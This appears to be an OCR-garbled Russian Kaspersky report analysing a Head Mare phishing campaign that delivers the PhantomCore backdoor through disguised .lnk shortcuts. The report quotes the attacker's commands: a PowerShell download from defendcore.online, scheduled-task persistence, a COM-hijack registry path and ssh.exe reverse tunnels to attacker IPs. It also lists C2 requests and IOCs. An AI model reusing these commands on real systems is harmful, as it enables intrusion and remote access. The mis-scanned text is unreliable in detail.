Head Mare pacnpoctpaHseT ooHoBneHHbIn PhantomCore
noa BUAOM KOHTpPaKTa

SL securelist.ru/head-mare-new-campaign/114892

Kaspersky February 26, 2026

S

B deBpane 2026 roga xaktuBuctckas rpynnuposka Head Mare npogomnxaet npusnekatb k cebe
BHMMaHue knbepcoobuiecTsa. He ycnenu mbl pacckasaTb O kKaMnaHum C UCMOMb30BaHUEM
PhantomHeart, kak oGHapyxunu ewe ogHy macluTabHy OULLNMHIOBYHO PACChISIKY, HA 3TOT pas3
cHoBon Bepcuen 6akgopa PhantomCore (PhantomDL). lMNonyyatenam npuxogaT nucbma ot
MMEHN Hay4YHO-UccnegoBaTenbCKOM OpraHu3auumn ¢ NpeasiokeHmeM O 3akrodeHnn gorosopa. Bo
BMNOXEHUAX HaXo4AaTCs 3aliMdpoBaHHbIE apXmBbl, @ B Ka4ecTBe Naporisi UCNONb3yeTcs TeKyLwmmn
rog. B apxnBe — Heckonbko gannoB-apnbikoB (.Ink), KoTopble aBToMaTU4eCcK/ 3anyckarT
npoLecc 3arpy3kun 1 yctaHoBku 6akgopa.

B aToi cTaTbe Mbl pa3bepem TEXHUYECKME AeTanu aTaky, OLeHUM NoTeHuManbHbI MacluTad
yrposbl 1 06cyanM pekoMeHaaumm no 3alumTe oT NoAobHbIX KaMnaHWN.

BpepoHocHasa pacchbinka

MMCcbMO HaMMcaHO OT MMEHW «BeayLLEero cneynanncTa A0roBoOpHOro otaenay HayyHo-
nccrnenoBaTenbCKOW OpraHM3auunmn 1 BbIrMSAUT Kak NpeanoXeHve noanucaTb 4OroBop Ha
BbINOSIHEHNE HekMX paboT. OTnpaBuTenb NpeanaraeT ckadatb apxuB ¢ JOKYMEHTAMU, UMEOLLMMU
Kakoe-TO OTHOLLEHME K 3TOMY JOroBopYy. ApXMB 3anaporieH, naporsb ykasaH B Tene nucbma —
Tekywmi rod. MNonyyartenst NpocaT coobLWmnTb, korga byaet yqobHo 3aknoumTb gorosop. B
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NoAnMCK yKasaHbl NOgPOOHbIE KOHTAKTHBIE AaHHbIE «BEAYLLEro cneymanmcTa»: haMmmnus, nmsa un
OTYECTBO, AOMKHOCTb, HOMep TenedoHa ¢ 4o6aBOYHbIM, KOpNopaTUBHLIM e-mail n agpec canTa.

Bce odopmneHo Tak, 4Tobbl co3aaTth ouyLeHne AenoBOoro obLweHnsa n NOATONKHYTb nonyyvaTtens
OTKPbITb BIIOXEHME.
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Coaepxnumoe ULLMHIOBOro NUCbMa

B apxvnBe HaxoguTcst HECKONBLKO APrbIKOB C ABOWHLIM pacwumnpeHuem .pdf.Ink, kotopble
MaCKMPYOTCA NoA NPOEKT AOroBopa, TEXHMYECKOE 3aJaHne 1 apyrue peneBaHTHble Ans
3a[laHHOWN B NUCbME TeMbl JOKYMEHTbI.

MName Size Packed Size Modified

[)iKaprouxa npeanpuamua A0 (o6uii cwer).pafnk | 1481 832 2026-02-14 1303
|| Npoexr aoroeopa Ha evinontenme pabot.pdf.Ink 1473 832 2026-02-14 13:03
jTexHuuecxoe zapanme,pdf.Ink 1477 832 2026-02-14 13:04

Copepxumoe apxmea «KomnnekT [JokyMeHTOB.rary»

Mpw 3anycke no60Oro 13 AprbIKOB Ha MaLUUHE BbIMONHUTCS KOMaHAa Anst 3arpy3ku
NMPOMEXYTOYHOrO CKpUMNTa, PAacrofioXKeHHOro Ha cepBepe 3M0YMbILLEHHUKOB.

Jiil" ra/beta

. WindowStyle Hidde _
Komanpa n3 sapnbika «Kaptouka npeanpuatma [REDACTED] (o6wmn cyeT).pdf.Ink»
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Mo agpecy, kK koTopoMy obpallaeTtcs komaHaa (B npumepe ato hxxps://1cbit-
dev[.Jcom/devices/firmware/beta/update.html), MOXXHO OBHapPY>X1UTb CKPUNT ANA 3arpy3ku n
yCTaHOBKM 63kgopa. [JononHUTENbHO 3TOT CKPUMT CKAYMBAET M OTKPbIBAET AOKYMEHT-NPUMAHKY.

CkpunT ans 3arpy3ku 6akgopa

CTOUT OTMETUTb, YTO SAPIbIKK PaboTalT CXOXUM 0bpa3oM. EQUHCTBEHHOE OTNMYME MeXay HUMM
— 3TO CCbIIKK, N0 KOTOPbIM ByAyT 3arpyxatbcs 63KA0pPbl U AOKYMEHTHI. 3a KaxabIM sipribIKOM

3aKpenneH JOKYMEHT, COOTBETCTBYIOLLMIA €ro Ha3BaHWUto, Npu 3Tom 63KO0p BCeraa ckadmMBaeTcst
OOVH U TOT Xe.
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lD,OKyMeHTI:.wI-I'Ipl/IMaHKVI, OTKpbIBaeMbl€ APJibIKaM N3 apXmnBa

MpomexyTouHbIi cKkpunT HanncaH Ha PowerShell. OH ckaumBaeT ¢ yaaneHHoro cepsepa cawnn
USOCachedData.txt (MD5: 6EA2912050632ACD186CE790634B6D44), obecnevnsaet
3akpenneHue B cucteme n aBrosanyck. [1ns sakpenneHus ncnonbadyerca TexHuka PSFactoryBuffer
COM Hijacking — nogmeHa B peecTpe nyTu K O4HON U3 CUCTEMHbIX BMBNNoTEK, KOTOpble
ncnonb3ytotes npu co3gaHmm COM-o6bekToB. B pesynbrate BCAkuin pas, korga CTOPOHHee

npunoxeHne obpawiaetcs k coorBeTcTBytoemy COM-06bekTy, 3anyckaeTcsa BPeAOHOCHbIN
dann.

1  $HKCR\CLSID\{c53e07ec-25f3-4093-aa39-fc67ea22e99d\InProcServer32
2 (Default)j=$APPDATA\USOShared\USOCachedData.txt
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dann USOCachedData.txt, xoTb n umeet pacwmpeHue .txt, Ha camom gene aBnaeTcs
ncnonHaemomn Gubnuotekon — HoBbIM BapnaHTom PhantomCore. OcHoBHas 3agaya 3Toro
6akgopa — npegocTaBneHne 3NnoyMbILLNIEHHUKAM yaaneHHON KOMaHAHON CTPOKM B 3apaKeHHON

cucrteme.

O6paseL, KOTOpbI pacnpoCTPaHAETCA B paMKax ONMcaHHOM KamnaHum, HanmcaH Ha C++, a
CTPOKM B HEM 3aLumdpoBaHbl NobanToBbiM XOR € yHMKaNbHbIMK KNto4aMy ANsa Kagon CTPOKM.
Mocne 3anycka 63akgop otnpaenseT Ha C2-cepeep aBa POST-3anpoca, cogepalumne gaHHbIe B
dopmarte JSON, — ans pernctpaumm HoBoro 6ota un nonyyeHus komaHg. o cpaBHeHuto
npoLunbIMK BEpcUamMM nyTn, no kotopbim PhantomCore cBasbiBaetca ¢ C2, HE3HaYNTENBHO
N3MEHUNUCb. M3MeHNNUCb 1 Ha3BaHUs U coagepXxnmoe nonen B otnpaensemom Ha C2 JSON.

POST felient/register HTTP/1.1
Content-Type: application/jsen
Accept-Encoding:

Comnnection: close
Content-Length: 172

Accept: "/

Host: cosmetic-shop.online
User-Agent: cpp-httplib/fg.39.1

&y IpICI6L fRAOnAINTREY JEANEMIY Y iLC JobINebaF tISTE IKRFUSEUT LATRUIUQUFVOY TS ImavZ 29uX 3N enZ Le d T6T A Ts Tmacw'y 2F X2 1wl Jodt

HITPS 1.1 208 0K

POST fapplicaticn/pell WTTP/1.1
Content-Type: application/json
Accepts .=l\l:0ﬂ|.‘|3=

Comnection: close
Content-Length: 25

Accept: "¢

Host: codmetic-shop.online
User-Agent: cpp-httplib/9.38.1

{7id™ " 3EE05TO4b1BECTbE" |
HTTRS1.1 290 0K

alt-Swve: h3=":443%; ma=2592000 Alt-Swer hd=":4437; mas2502000
Content-Length: 2 Content-Type: application/json
Content-Type: teut.-'pl.ain,'cha"iet-l.lTF -8 Date: Mon; 18 Feb 2626 15:31:89 GMT
Date: Mon, 16 Feb 2026 15:38:30 GMT via: 1.1 Caddy

Via: 1.1 Caddy Connection: close

Connection: close Transfer-Enceding: chunked

o {}

KommyHukaumua PhantomCore ¢ C2

B 3anpoce Ha peructpaumio PhantomCore nepenaet 3akoampoBaHHble B base64 naHHble o 6oTe
1 3apaXKeHHoI cucteme. [lekoaMpoBaHHas CTpoKa C AaHHbIMU BbIMMSAAUT crneayowmMm o6pa3om:

1 {"id":"38805794b185c7b6","hostname":"DESKTOP-
EMTAAUC","logon_server":"","local_ip":"10.1.1.140","dns_server":"10.1.1.1"}

Bo BTOpoM 3anpoce 63kaop oTnpaBnsieT ToNbko naeHTudukatop 6ota. B oTBET 3M0yMbILLNEHHMKN

nepeaaroT CreayroLLyo nocneaoBaTenbHOCTb KOMaH4, KOTOpY 63K40p NbITaeTCcs BbINOMHUTL B
3apakeHHOW cucTteme.

o CkaumaHue apxmBa c BpegoHocHbIM 10 ons co3gaHus TyHHens. BHyTpu apxmBa
Haxoautca pann TemplateMaintenanceHost.exe.

1 cmd.exe /c powershell iwr https://defendcore.online/download/1.zip -outfile
$appdata\1.zip

413


https://media.kasperskycontenthub.com/wp-content/uploads/sites/58/2026/02/25170921/head-mare-new-campaign6.png
https://media.kasperskycontenthub.com/wp-content/uploads/sites/58/2026/02/25170921/head-mare-new-campaign6.png

PacnakoBka cogepxumoro apxvea B aupektoputo AppData.

1 cmd.exe /c powershell expand-archive -force -path $appdata\1.zip -destinationpath
$appdata

MpoBepka yCneLHon pacnakoBKu.

1 cmd.exe /c dir $appdata

3akpenneHue B cucteMe C NOMOLLIbIO 3384y NaHUPOBLLKKA.

1 cmd.exe /c schtasks /create /sc DAILY /tn "Windows Templates Maintenance Task" /tr
"$appdata\TemplateMaintenanceHost.exe -i 31.59.104.239 -p 45631 -u
sadjio8sdjajdssdw" /st 10:00 /f

3anyck 3agayun, co3gaHHOW npeablayLwen KoMaHaon.

1 cmd.exe /c schtasks /run /tn "Windows Templates Maintenance Task"

®ann TemplateMaintenanceHost.exe — 310 Moaynb ANA 3anycka ssh.exe, HanMcaHHbIM Ha
Golang. ®awnn ssh.exe npucytctByeT B nocneaHux sepcmsax OC Windows no ymonyaHuto.
TemplateMaintenanceHost.exe 3anyckaet ero ¢ nepegaHHbIMM B KOMaHOHOW CTPOKe
napameTpamu Nnbo ¢ napameTpamu No yMONYaHMIo, eCnNu 3M0YMbILLIIEHHUKN He 3a4ann HNYero
KOHKpeTHoro. Tak, ecnv komaHgHasi CTpoka BbIrnaanT kak TemplateMaintenanceHost.exe -i
31.59.104.239 -p 45631 -u sadjio8sdjajdssdw, npouecc ssh.exe ByaeT 3anyLleH co creayroLwmnmm
napameTpamu:

1 ssh.exe -o StrictHostKeyChecking=no -o ServerAlivelnterval=60 -o
ServerAliveCountMax=15 -f -N -R 45631 -p 443 sadjio8sdjajdssdw@31.59.104.239

A npu 3anycke komaHgon TemplateMaintenanceHost.exe -i 195.58.54.238 GynyT ncnonb3oBaHbl
napameTpbl N0 YMOSTYaHMIO:

1 ssh.exe -0 StrictHostKeyChecking=no -0 ServerAlivelnterval=60 -o
ServerAliveCountMax=15 -f -N -R 48733 -p 443 user_0iix254u10@195.58.54.238

3anyck ssh.exe ¢ Takum HabopoM aprymeHTOB NPUBOAUT K CO34aHMI0 TYHHENS C yAaneHHbIM
xocTom. Mpn aTom cam npouecc ssh.exe BbicTynaet B ponn SOCKS5-npoken n cnocobex
nepeHanpaenATb Tpaduk OT yaaneHHOro cepBepa B NOKarbHYH CETb YEPE3 3aparKEHHYHO
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MalUVHy, AaBas aTaKyloLWMM BO3MOXHOCTb NMOAKMYaTLCA K APYrMM paboynm CTaHLUMSM 1
cepBepam.

XepTBbl

Hoeasa paccbinka Head Mare 3aTpoHyna HECKOSbKO COTEH Mnorb3oBaTtenen 3 poCCUMNCKNX
opraHusaumn. Cpeau uenen 6binn Kak opraHn3aumm U3 rocygapCTBEHHOrO cekTopa, Tak U
KOMMaHu1 U3 NOrmMcTn4eckon, oMHaHCOBOW N NPOMbILLITIEHHOW OTpacren.

MHaukaTopbl KOMNpoMeTauum

ApxuBbl
0b7262cbdab759e711b2d0ebe81b3cbb
2a7e7b5d95fd63bce42ae1e6aa9f8fbf
29688994151ad2d732b7d8743c48d779

Apnbikn

1bc7a6056d5b35a938d67e3bf81da5e8 — texHunyeckoe 3agaHue.pdf.Ink
2bf231028463eca661b0fd78184020fd — npoekT goroBopa Ha BbinonHeHne padot.pdf.Ink
2e9e60196f7c873d346db1a884bb8f21 — kapTtouka npegnpuatna [REDACTED] (o6wwni
cyert).pdf.Ink

1473be0903d1342b79dc066c0264a1b8 — TexHunyeckoe 3agaHue.pdf.lnk
b14cd85092e7b6a58db8822708fc158f — npoekT aoroBopa Ha BbinonHeHne pabdor.pdf.Ink
c58df00cd9caac4798dd89703a46c3b8 — kaptoyka npeanpuatna [REDACTED] (obwwmn
cyert).pdf.Ink

025756¢52670841936e15ec17df56f04 — TexHn4veckoe 3agaHue.pdf.Ink
7a51be2d79c63e5a372bdeebadc1b8f3 — npoekT goroBopa Ha BbinonHeHne padot.pdf.Ink
c6¢f2307caefd444b77d02555226779f — kaptoudka npegnpuatua [REDACTED] (o6wun
cyert).pdf.Ink

6def6f248bf5f204c402191aaead05e4 — npoeKT AoroBopa Ha BbinofniHeHne pabot.pdf.Ink
8a4f149fc61148be9e10edd19f8eb05b — TexHu4eckoe 3agaHue.pdf.Ink
96f6cf42eb88cf861bb2ada14db68924 — kaptouka npegnpusatus [REDACTED] (obwmi
cyert).pdf.Ink

URL-agpeca
hxxps://1cbit-dev[.]Jcom/controllers/interface/kappa/package.html
hxxps://1cbit-dev[.]Jcom/controllers/interface/kappalfiles.html
hxxps://1cbit-dev[.]Jcom/controllers/interface/kappa/downloads.html
hxxps://1cbit-dev[.]Jcom/clusters/network/omegal/files.html
hxxps://1cbit-dev[.]Jcom/clusters/network/omega/connect.html
hxxps://1cbit-dev[.]Jcom/clusters/network/omega/access.html
hxxps://1cbit-dev[.]Jcom/devices/firmware/beta/patch.html
hxxps://1cbit-dev[.]Jcom/devices/firmware/beta/upgrade.html
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https://opentip.kaspersky.com/b14cd85092e7b6a58db8822708fc158f/?icid=kl-ru_sl_opentip-lnk_sm-team_21fcc581b8967ee1&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/c58df00cd9caac4798dd89703a46c3b8/?icid=kl-ru_sl_opentip-lnk_sm-team_a0b359dc73a7d3e4&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/025756c52670841936e15ec17df56f04/?icid=kl-ru_sl_opentip-lnk_sm-team_424b34b4670a5df8&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/7a51be2d79c63e5a372bdee6adc1b8f3/?icid=kl-ru_sl_opentip-lnk_sm-team_282ce0c848e947ff&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/c6cf2307caefd444b77d02555226779f/?icid=kl-ru_sl_opentip-lnk_sm-team_d90247b353d8198a&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/6def6f248bf5f204c402191aaead05e4/?icid=kl-ru_sl_opentip-lnk_sm-team_34f6bbd7220010c3&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/8a4f149fc61148be9e10edd19f8eb05b/?icid=kl-ru_sl_opentip-lnk_sm-team_057d594a10e10715&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/96f6cf42eb88cf861bb2ada14db68924/?icid=kl-ru_sl_opentip-lnk_sm-team_4e5d4b2abbd4699f&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/https%3a%2f%2f1cbit-dev.com%2fcontrollers%2finterface%2fkappa%2fpackage.html/?icid=kl-ru_sl_opentip-lnk_sm-team_8ae1cb05180fd70c&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/https%3a%2f%2f1cbit-dev.com%2fcontrollers%2finterface%2fkappa%2ffiles.html/?icid=kl-ru_sl_opentip-lnk_sm-team_63620cf66a5f1b98&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/https%3a%2f%2f1cbit-dev.com%2fcontrollers%2finterface%2fkappa%2fdownloads.html/?icid=kl-ru_sl_opentip-lnk_sm-team_2dc701c7311de374&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/https%3a%2f%2f1cbit-dev.com%2fclusters%2fnetwork%2fomega%2ffiles.html/?icid=kl-ru_sl_opentip-lnk_sm-team_9e8983d578d6b638&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/https%3a%2f%2f1cbit-dev.com%2fclusters%2fnetwork%2fomega%2fconnect.html/?icid=kl-ru_sl_opentip-lnk_sm-team_a33f53a5494cd29f&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/https%3a%2f%2f1cbit-dev.com%2fclusters%2fnetwork%2fomega%2faccess.html/?icid=kl-ru_sl_opentip-lnk_sm-team_39443252f965b471&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/https%3a%2f%2f1cbit-dev.com%2fdevices%2ffirmware%2fbeta%2fpatch.html/?icid=kl-ru_sl_opentip-lnk_sm-team_ebca9d38716ae5cc&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/https%3a%2f%2f1cbit-dev.com%2fdevices%2ffirmware%2fbeta%2fupgrade.html/?icid=kl-ru_sl_opentip-lnk_sm-team_10594360478fcf1e&utm_source=SL&utm_medium=SL&utm_campaign=SL

hxxps://1cbit-dev[.]Jcom/devices/firmware/beta/update.html
hxxps://1cbit-dev[.]Jcom/hardware/archive/alpha/package.html
hxxps://1cbit-dev[.Jcom/hardware/archive/alphalfiles.html
hxxps://1cbit-dev[.Jcom/hardware/archive/alpha/get.html
hxxps://defendcore[.]Jonline/download/1.zip

PhantomCore MD5
6EA2912050632ACD186CE790634B6D44
456 AE6D4C3FCED28BB40389473C148DE
03573CC2710D3A1B891F638C4113168B
FADBESF1C7E872DB6F1258E8C2C4DBBF
052FD127AF44991E536608C54B1B8442
0B4A9E34C5455A627EA460538143A05F
250E9003EDBB5EB20FE02A3FBDD173EE
2F8DCAABA262D69AA83ES4E2A0634B55
56E574FFOE3D417AF55FE867AFCEFA79
ABAA834680F12B1B17D113E039001E1D
D24329DD3AD1876FFEC84FD169245343
D458F12D551F8C600D132056C6549C68

PhantomCore C2
cosmetic-shop[.]Jonline
moscow-medial.]Jonline
cheap-market[.Jonline
cheap-zonel.]Jonline

Moaynb ansa 3anycka SSH Ha Golang
FDF5DC59B2947FF7DA9D86DA40B49248
o TexHonornv BPeAOHOCHbIX MPOrpamMm
e OnucaHne BPeaOHOCHbIX NPOrpamMm
o Lleneson omLLNHL
o Bakaopbl
e BpenoHocHble NporpamMmbl
o PowerShell
e SSH
e Head Mare
e PhantomCore

Hoas pacchbinika Head Mare: goroBop ¢ opaHTOMOM

Baw e-mail He ByaeT onybnukoBaH. Obs3aTenbHble NOAsS NOMeYeHbl *

*
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https://opentip.kaspersky.com/https%3a%2f%2f1cbit-dev.com%2fdevices%2ffirmware%2fbeta%2fupdate.html/?icid=kl-ru_sl_opentip-lnk_sm-team_b56c22e9def36102&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/https%3a%2f%2f1cbit-dev.com%2fhardware%2farchive%2falpha%2fpackage.html/?icid=kl-ru_sl_opentip-lnk_sm-team_06c03134c28d65a4&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/https%3a%2f%2f1cbit-dev.com%2fhardware%2farchive%2falpha%2ffiles.html/?icid=kl-ru_sl_opentip-lnk_sm-team_55d1c37af24076cd&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/https%3a%2f%2f1cbit-dev.com%2fhardware%2farchive%2falpha%2fget.html/?icid=kl-ru_sl_opentip-lnk_sm-team_b1f27005b9c31b6b&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/https%3a%2f%2fdefendcore.online%2fdownload%2f1.zip/?icid=kl-ru_sl_opentip-lnk_sm-team_ea076ef82d0c47f9&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/6ea2912050632acd186ce790634b6d44/?icid=kl-ru_sl_opentip-lnk_sm-team_2d19a4edb87b9bca&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/456ae6d4c3fced28bb40389473c148de/?icid=kl-ru_sl_opentip-lnk_sm-team_eecb6e09e9aec424&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/03573cc2710d3a1b891f638c4113168b/?icid=kl-ru_sl_opentip-lnk_sm-team_d7e7d08776edd795&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/f4dbe5f1c7e872db6f1258e8c2c4dbbf/?icid=kl-ru_sl_opentip-lnk_sm-team_a99810f124476394&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/052fd127af44991e536608c54b1b8442/?icid=kl-ru_sl_opentip-lnk_sm-team_16b26e818b745319&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/0b4a9e34c5455a627ea460538143a05f/?icid=kl-ru_sl_opentip-lnk_sm-team_1ee9f31a9b4b66b0&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/250e9003edbb5eb20fe02a3fbdd173ee/?icid=kl-ru_sl_opentip-lnk_sm-team_d9a34307ed7604e3&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/2f8dcaa6a262d69aa83e54e2a0634b55/?icid=kl-ru_sl_opentip-lnk_sm-team_0cbd849f478ce429&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/56e574ff9e3d417af55fe867afcefa79/?icid=kl-ru_sl_opentip-lnk_sm-team_0ab23f7d2b9e29e3&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/abaa834680f12b1b17d113e039001e1d/?icid=kl-ru_sl_opentip-lnk_sm-team_41a5498daba78d88&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/d24329dd3ad1876ffec84fd169245343/?icid=kl-ru_sl_opentip-lnk_sm-team_1b400b46ccb2320b&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/d458f12d551f8c600d132056c6549c68/?icid=kl-ru_sl_opentip-lnk_sm-team_6f6af4a219bd9239&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/cosmetic-shop.online/?icid=kl-ru_sl_opentip-lnk_sm-team_2c0c16333208c851&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/moscow-media.online/?icid=kl-ru_sl_opentip-lnk_sm-team_da122a56a21041bf&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/cheap-market.online/?icid=kl-ru_sl_opentip-lnk_sm-team_83cce333221d3f6a&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/cheap-zone.online/?icid=kl-ru_sl_opentip-lnk_sm-team_8afdc38da73532f1&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/fdf5dc59b2947ff7da9d86da40b49248/?icid=kl-ru_sl_opentip-lnk_sm-team_227f59ff5ab6d318&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://securelist.ru/tag/tehnologii-vredonosnyh-programm/
https://securelist.ru/tag/opisanie-vredonosnyh-programm/
https://securelist.ru/tag/spear-phishing/
https://securelist.ru/tag/bekdor/
https://securelist.ru/tag/vredonosnye-programmy/
https://securelist.ru/tag/powershell/
https://securelist.ru/tag/ssh/
https://securelist.ru/tag/head-mare/
https://securelist.ru/tag/phantomcore/

CopepxaHue

OT Tex e aBTOpPOB



https://securelist.ru/librarian-likho-ongoing-campaign/114879/
https://securelist.ru/librarian-likho-ongoing-campaign/114879/
https://securelist.ru/head-mare-phantomheart-and-phantomproxylite/114753/
https://securelist.ru/head-mare-phantomheart-and-phantomproxylite/114753/



https://securelist.ru/stan-ghouls-in-uzbekistan/114585/
https://securelist.ru/stan-ghouls-in-uzbekistan/114585/
https://securelist.ru/cloud-atlas-h1-2025-campaign/114449/
https://securelist.ru/cloud-atlas-h1-2025-campaign/114449/

B ToM e kateropuu



https://securelist.ru/cve-2025-55182/114176/
https://securelist.ru/cve-2025-55182/114176/
https://securelist.ru/arkanix-stealer/114857/
https://securelist.ru/arkanix-stealer/114857/



https://securelist.ru/keenadu-android-backdoor/114792/
https://securelist.ru/keenadu-android-backdoor/114792/
https://securelist.ru/head-mare-phantomheart-and-phantomproxylite/114753/
https://securelist.ru/head-mare-phantomheart-and-phantomproxylite/114753/
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https://securelist.ru/renengine-campaign-with-hijackloader-lumma-and-acr-stealer/114719/
https://securelist.ru/renengine-campaign-with-hijackloader-lumma-and-acr-stealer/114719/
https://securelist.ru/webrat-distributed-via-github/114486/
https://securelist.ru/webrat-distributed-via-github/114486/

Telegram

[TlopBanu gBa TposiHa

MNpo VIb B Br3Hece, NPOMbILLAEHHOCTW
1 MHOrOM JpYrom
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https://t.me/kasperskyb2b?icid=kl-ru_tg_acq_ona_smm__onl_b2b_securelist_ban_sm-team______
https://t.me/kasperskyb2b?icid=kl-ru_tg_acq_ona_smm__onl_b2b_securelist_ban_sm-team______

